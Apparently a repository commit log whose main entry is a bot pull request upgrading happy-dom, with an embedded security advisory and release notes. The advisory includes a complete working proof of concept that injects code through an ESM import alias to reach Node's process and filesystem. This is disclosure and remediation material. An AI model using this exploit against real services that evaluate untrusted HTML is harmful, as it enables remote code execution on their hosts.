Commit Graph
469 Commits
Author SHA1 Message Date
Nir b4539cee35 feat(core): add Radix DirectionProvider for RTL support (#15214)
## What

Mounts a `DirectionProvider` in `AffineContext` that feeds the current
language's text direction to all Radix UI primitives. Adds an `rtl` flag
to `LanguageInfo` (from `SUPPORTED_LANGUAGES`), with a colocated unit
test.

Part of #8966.

## Why

Radix primitives read direction from React context, not from the
document `dir` attribute. Since #14624, `document.documentElement.dir`
correctly flips to `rtl` for Arabic/Persian/Urdu — but every Radix
dropdown, popover and menu still hard-renders LTR internally.

## Notes for reviewers

- `@radix-ui/react-direction` is pinned to the exact version the other
Radix primitives resolve (`1.1.1`), not a caret range. A caret range
resolves to a newer duplicate module copy, which means a different React
context object — the primitives would silently ignore the provider.
Verified at runtime both ways.
- Portaled Radix content preserves React context, so portaled popovers
inherit direction too.

## Testing

- `yarn typecheck`, `yarn vitest run
packages/frontend/core/src/modules/i18n` (3 tests) pass.
- Verified in the running web app (Playwright + manual): with language
set to العربية, the workspace selector popover and menus render
`dir="rtl"`; English UI unaffected.
2026-11-08 22:21:44 +08:00
DarkSky e1261c40bf chore: bump deps (#15795) 2026-11-06 00:58:55 +08:00
renovate[bot] c4573551ce chore: bump up happy-dom version to v21 [SECURITY] (#15739)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^20.3.0` →
`^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/21.0.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.8.9/21.0.4?slim=true)
|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^20.0.0` →
`^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/21.0.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.8.9/21.0.4?slim=true)
|

---

### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import
alias leads to host code execution
[CVE-2026-115895](https://nvd.nist.gov/vuln/detail/CVE-2026-115895) /
[GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)

<details>
<summary>More information</summary>

#### Details
##### Summary

The ESM compiler in `happy-dom@20.14.5` does not validate imported local
binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid
JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete
remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix
validates `importName` in the local `export { ... }` handler, but the
named import handler still places an unvalidated `alias` directly into
code context.

These issues were confirmed through the public `Window` and `<script
type="module">` APIs using the published `happy-dom` npm package. The
PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a
proof directory on the host filesystem.

##### Confirmed affected versions

The PoC was directly tested against:

- `happy-dom@17.0.0`
- `happy-dom@20.0.0`
- `happy-dom@20.1.0`
- `happy-dom@20.14.5`

The same PoC does not trigger on `happy-dom@16.8.1`.

The ESM compiler was introduced by commit `7bc831df2`, first released in
`v17.0.0`. The vulnerable interpolation remains present through
`v20.14.5`, the latest release at the time of testing.

Suggested affected range:

```text
>= 17.0.0, <= 20.14.5
```

No patched version is currently available.

##### Preconditions

- JavaScript evaluation is enabled with `enableJavaScriptEvaluation:
true`.
- Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that
evaluate externally supplied HTML.

##### Technical details

In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the
named import handler splits an import specifier and extracts its alias:

```ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}
```

Unlike the patched `export { ... }` handler, the value of `alias` is not
validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

```ts
newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```

Consider the following source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

This is invalid ECMAScript module syntax. Node.js rejects it at the `=`
token.

Happy DOM instead transforms it into the equivalent of:

```js
let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```

This generated JavaScript is valid. Because the imported JSON object
does not contain a `missing` property, the default initializer executes.

The `with { type: 'json' }` attribute is relevant because the compiler
only generates its circular import resolver for ESM imports:

```ts
if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}
```

Using a JSON module prevents the malicious alias from being emitted
again in a later circular-import assignment, leaving the generated
function syntactically valid.

Backtick strings also survive the existing quote removal. This allows
the injected initializer to reach Node.js host APIs:

```js
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
```

##### Proof of concept

The following PoC uses only the public Happy DOM API and performs a
harmless filesystem action by creating a directory named
`HAPPY_DOM_RCE_PROOF`.

##### 1. Create `package.json`

```json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
```

##### 2. Create `dep.json`

```json
{}
```

##### 3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript
parser rejects the source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

##### 4. Create `poc.mjs`

```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
```

##### 5. Run the control test

```console
npm install
node --check payload.mjs
```

Expected result:

```text
SyntaxError: Unexpected token '='
```

This confirms that the source is not valid ESM.

##### 6. Run the Happy DOM PoC

```console
node poc.mjs
```

Expected result:

```text
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
```

The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression
injected through the import alias executed and reached the host
filesystem.

The PoC was also verified inside a `node:24-alpine` Docker container,
where it created:

```text
/poc/HAPPY_DOM_RCE_PROOF
```

##### Impact

An attacker who can supply module source to an application that
evaluates JavaScript through Happy DOM can cause syntactically invalid
import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions
that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js `process` and built-in modules.
It can therefore be adapted to read or modify files, access environment
data, or execute operating-system commands with the privileges of the
Happy DOM host process.

##### Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export
declaration:

```js
export { attacker_expression }
```

Its fix added identifier validation to the `importName` used by the
`export { ... }` handler:

```ts
if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}
```

This report uses a different parsing and code-generation path:

```js
import { name as malicious_alias } from './module';
```

The unvalidated value is the local import `alias`, and the injection
occurs in a generated destructuring binding rather than the export
assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the
CVE-2026-33943 fix, including `20.14.5`.

##### Suggested fix

Validate the imported local binding before placing it into code context.
The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:

```diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
```

A regression test should compile and execute the malicious import
declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused `ECMAScriptModuleCompiler`
test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use
`JSON.stringify()` instead of manual quote interpolation.

##### Verification record

- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js: `24.14.1`
- Latest tested package: `happy-dom@20.14.5`
- Source tag: `v20.14.5`
- Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`
- First confirmed affected version: `17.0.0`
- Confirmed unaffected version: `16.8.1`
- Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release
was found during the duplicate check.

#### Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79)
-
[https://github.com/capricorn86/happy-dom/pull/2537](https://redirect.github.com/capricorn86/happy-dom/pull/2537)
-
[https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13](https://redirect.github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13)
-
[https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4)
-
[https://github.com/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

###
[`v21.0.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.3...v21.0.4)

##### 👷‍♂️ Patch fixes

- Fixed a code injection vulnerability in the ESM compiler - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- Fixed cross-origin isolation so opaque-origin `data:` iframes cannot
access their parent or top window - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.2...v21.0.3)

##### 👷‍♂️ Patch fixes

- Fixes security vulnerability where authorization header was forwarded
when redirecting - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.1...v21.0.2)

##### 👷‍♂️ Patch fixes

- Fixes SSRF security vulnerability by doing a target-origin bypass in
the proxy server in
[@&#8203;happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.0...v21.0.1)

##### 👷‍♂️ Patch fixes

- Adds aliases `--css` and `--iframe` for enabling CSS and iframe
loading to
[@&#8203;happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v21.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.6...v21.0.0)

##### 💣 Breaking Changes

- Disables CSS and IFrame loading by default to prevent [server-side
request forgery
(SSRF)](https://en.wikipedia.org/wiki/Server-side_request_forgery) - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- An attacker could embed `<iframe>` or `<link rel="stylesheet">`
elements in untrusted HTML to make Happy DOM send HTTP requests from the
server to attacker-chosen URLs, including internal services. This could
allow access to otherwise unreachable endpoints or trigger unintended
actions, depending on the application and its network access.
  - The settings property `disableCSSFileLoading` has been deprecated
- Added the new settings properties
[enableCSSFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties)
and
[enableIframePageLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties)
- If you don't believe that you are at risk, you can keep the same
behavior as in `<=v20.14.6` by sending in `{ enableCSSFileLoading: true,
enableIframePageLoading: true }` as [broswer
settings](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
(e.g. `new Window({ settings })`);

###
[`v20.14.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.5...v20.14.6)

##### 👷‍♂️ Patch fixes

- Fixes cookie scope forgery vulnerability - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v20.14.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.4...v20.14.5)

##### 👷‍♂️ Patch fixes

- Preserve character references in comment data - By
**[@&#8203;hampustagerud](https://redirect.github.com/hampustagerud)**
in task
[#&#8203;2409](https://redirect.github.com/capricorn86/happy-dom/issues/2409)

###
[`v20.14.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.3...v20.14.4)

##### 👷‍♂️ Patch fixes

- End comments at the first comment end tag when it overlaps a comment
start tag - By
**[@&#8203;hampustagerud](https://redirect.github.com/hampustagerud)**
in task
[#&#8203;2407](https://redirect.github.com/capricorn86/happy-dom/issues/2407)

###
[`v20.14.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.2...v20.14.3)

##### 👷‍♂️ Patch fixes

- Avoids cloning all properties in CSSPropertyManager.toString - By
**[@&#8203;erictheswift](https://redirect.github.com/erictheswift)** in
task
[#&#8203;2363](https://redirect.github.com/capricorn86/happy-dom/issues/2363)

###
[`v20.14.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.1...v20.14.2)

##### 👷‍♂️ Patch fixes

- Fixes regression where not all CSS variables where resolved in
`getComputedStyle()` - By
**[@&#8203;klaesra](https://redirect.github.com/klaesra)** in task
[#&#8203;2344](https://redirect.github.com/capricorn86/happy-dom/issues/2344)

###
[`v20.14.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.0...v20.14.1)

##### 👷‍♂️ Patch fixes

- Invalidate the computed style cache for the whole subtree - By
**[@&#8203;matmannion](https://redirect.github.com/matmannion)** and
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2366](https://redirect.github.com/capricorn86/happy-dom/issues/2366)

###
[`v20.14.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.2...v20.14.0)

##### 🎨 Features

- Improves computed style cache - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2357](https://redirect.github.com/capricorn86/happy-dom/issues/2357)

###
[`v20.13.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.1...v20.13.2)

##### 👷‍♂️ Patch fixes

- Fix problem with getComputedStyle with :host and :host-context
selectors - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2349](https://redirect.github.com/capricorn86/happy-dom/issues/2349)

###
[`v20.13.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.0...v20.13.1)

##### 👷‍♂️ Patch fixes

- GetComputedStyle should return inherited value when it is set to
inherit - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2347](https://redirect.github.com/capricorn86/happy-dom/issues/2347)

###
[`v20.13.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.2...v20.13.0)

##### 🎨 Features

- Adds support for :host psuedo query selector - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2345](https://redirect.github.com/capricorn86/happy-dom/issues/2345)

###
[`v20.12.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.1...v20.12.2)

##### 👷‍♂️ Patch fixes

- Custom elements should be upgraded when connected to DOM - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2342](https://redirect.github.com/capricorn86/happy-dom/issues/2342)

###
[`v20.12.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.0...v20.12.1)

##### 🎨 Features

- Adds support for kebab-case properties on `CSSStyleDeclaration` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)
- Adds support for all Chromium CSS properties to `CSSStyleDeclaration`
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)
  - Downloads a list from the Chromium project when compiling

##### 👷‍♂️ Patch fixes

- Fixes issue with parsing CSS fallback variables - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256)

###
[`v20.12.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.15...v20.12.0)

##### 🎨 Features

- Adds support for `Animation`, `AnimationTimeline`, `DocumentTimeline`
and `KeyframeEffect` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
- Adds support for `Element.animate()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**

###
[`v20.11.15`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.15)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.14...v20.11.15)

##### 👷‍♂️ Patch fixes

- Fixes issue with upgrading custom element caused by previous release -
By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331)

###
[`v20.11.14`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.14)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.13...v20.11.14)

##### 👷‍♂️ Patch fixes

- Change prototype of element to the custom element when upgraded to
keep the reference - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331)
- The previous solution replaced the element with the custom element and
copied it's properties, but this made any reference to the original
element invalid

###
[`v20.11.13`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.13)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.12...v20.11.13)

##### 👷‍♂️ Patch fixes

- Copy event listeners when upgrading a custom element - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2329](https://redirect.github.com/capricorn86/happy-dom/issues/2329)

###
[`v20.11.12`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.12)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.11...v20.11.12)

##### 👷‍♂️ Patch fixes

- Add check for if the node is still a parent during disconnect - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2322](https://redirect.github.com/capricorn86/happy-dom/issues/2322)

###
[`v20.11.11`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.11)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.10...v20.11.11)

##### 👷‍♂️ Patch fixes

- Use proxy as parent node in Node.connectedToNode - By
**[@&#8203;diegohaz](https://redirect.github.com/diegohaz)** in task
[#&#8203;2253](https://redirect.github.com/capricorn86/happy-dom/issues/2253)

###
[`v20.11.10`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.10)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.9...v20.11.10)

##### 👷‍♂️ Patch fixes

- Return default validationMessage for built-in constraint violations -
By **[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in
task
[#&#8203;2187](https://redirect.github.com/capricorn86/happy-dom/issues/2187)

###
[`v20.11.9`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.9)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.8...v20.11.9)

##### 👷‍♂️ Patch fixes

- Make sure that the element has been upgraded before invoking reaction
callback in custom elements - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2317](https://redirect.github.com/capricorn86/happy-dom/issues/2317)

###
[`v20.11.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.8)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.7...v20.11.8)

##### 👷‍♂️ Patch fixes

- Values pushed or assigned to the `adoptedStyleSheet` array should be
validated - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2315](https://redirect.github.com/capricorn86/happy-dom/issues/2315)

###
[`v20.11.7`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.7)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.6...v20.11.7)

##### 👷‍♂️ Patch fixes

- The properties `Document.adoptedStyleSheets` and
`ShadowRoot.adoptedStyleSheets` should validate it's value - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2313](https://redirect.github.com/capricorn86/happy-dom/issues/2313)

###
[`v20.11.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.5...v20.11.6)

##### 👷‍♂️ Patch fixes

- Updates docs for the global-registrator package - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2300](https://redirect.github.com/capricorn86/happy-dom/issues/2300)

###
[`v20.11.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.4...v20.11.5)

##### 👷‍♂️ Patch fixes

- Allow explicit element types for querySelector (e.g.
`querySelector<HTMLInputElement>(".my-input")`) - By
**[@&#8203;cyphercodes](https://redirect.github.com/cyphercodes)**

###
[`v20.11.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.3...v20.11.4)

##### 👷‍♂️ Patch fixes

- Fixes the CORS check `fetch()` to match origins instead of host and
protocol - By **[@&#8203;rexxars](https://redirect.github.com/rexxars)**
in task
[#&#8203;1490](https://redirect.github.com/capricorn86/happy-dom/issues/1490)

###
[`v20.11.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.2...v20.11.3)

##### 👷‍♂️ Patch fixes

- Make document.links return a live HTMLCollection - By
**[@&#8203;bangseongbeom](https://redirect.github.com/bangseongbeom)**
in task
[#&#8203;2299](https://redirect.github.com/capricorn86/happy-dom/issues/2299)
- Copy labels array to prevent mutation of cached querySelectorAll
result - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2226](https://redirect.github.com/capricorn86/happy-dom/issues/2226)

###
[`v20.11.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.1...v20.11.2)

##### 👷‍♂️ Patch fixes

- MutationObserver callback being GC'd due to orphaned WeakRef - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2264](https://redirect.github.com/capricorn86/happy-dom/issues/2264)

###
[`v20.11.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.0...v20.11.1)

##### 👷‍♂️ Patch fixes

- Improve performance of query selectors by avoiding construction of
DOMException when not needed - By
**@&#8203;[@&#8203;cyfung1031](https://redirect.github.com/cyfung1031)**
in task
[#&#8203;2228](https://redirect.github.com/capricorn86/happy-dom/issues/2228)

###
[`v20.11.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.6...v20.11.0)

##### 🎨 Features

- Adds support for [CookieStore
API](https://developer.mozilla.org/en-US/docs/Web/API/Cookie_Store_API)
- By
**[@&#8203;TrevorBurnham](https://redirect.github.com/TrevorBurnham)**
in task
[#&#8203;1864](https://redirect.github.com/capricorn86/happy-dom/issues/1864)
- Adds support for
[Element.checkVisibility()](https://developer.mozilla.org/en-US/docs/Web/API/Element/checkVisibility)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;1506](https://redirect.github.com/capricorn86/happy-dom/issues/1506)

###
[`v20.10.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.5...v20.10.6)

##### 👷‍♂️ Patch fixes

- Await NodeJS internal ReadableStream promise during teardown - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2217](https://redirect.github.com/capricorn86/happy-dom/issues/2217)

###
[`v20.10.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.4...v20.10.5)

##### 👷‍♂️ Patch fixes

- Adds cache to query selector parser - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2142](https://redirect.github.com/capricorn86/happy-dom/issues/2142)
- The selector parser degraded in performance in v20.6.3 to solve more
complex selectors
- Parsing is still a bit slower, but the cache will hopefully mitigate
most of the problem

###
[`v20.10.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.3...v20.10.4)

##### 👷‍♂️ Patch fixes

- Coerce null qualifiedName to empty string in createDocument - By
**[@&#8203;Firer](https://redirect.github.com/Firer)** in task
[#&#8203;2206](https://redirect.github.com/capricorn86/happy-dom/issues/2206)

###
[`v20.10.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.2...v20.10.3)

##### 👷‍♂️ Patch fixes

- Fix "\~=" attribute selector matching hyphenated substrings in CSS
selectors - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2194](https://redirect.github.com/capricorn86/happy-dom/issues/2194)

###
[`v20.10.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.1...v20.10.2)

##### 👷‍♂️ Patch fixes

- Updates external dependencies - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2163](https://redirect.github.com/capricorn86/happy-dom/issues/2163)

###
[`v20.10.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1)

###
[`v20.10.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.9.0...v20.10.0)

##### 🎨 Features

- Adds support for setting a canvas adapter for handling the canvas
rendering using the browser setting
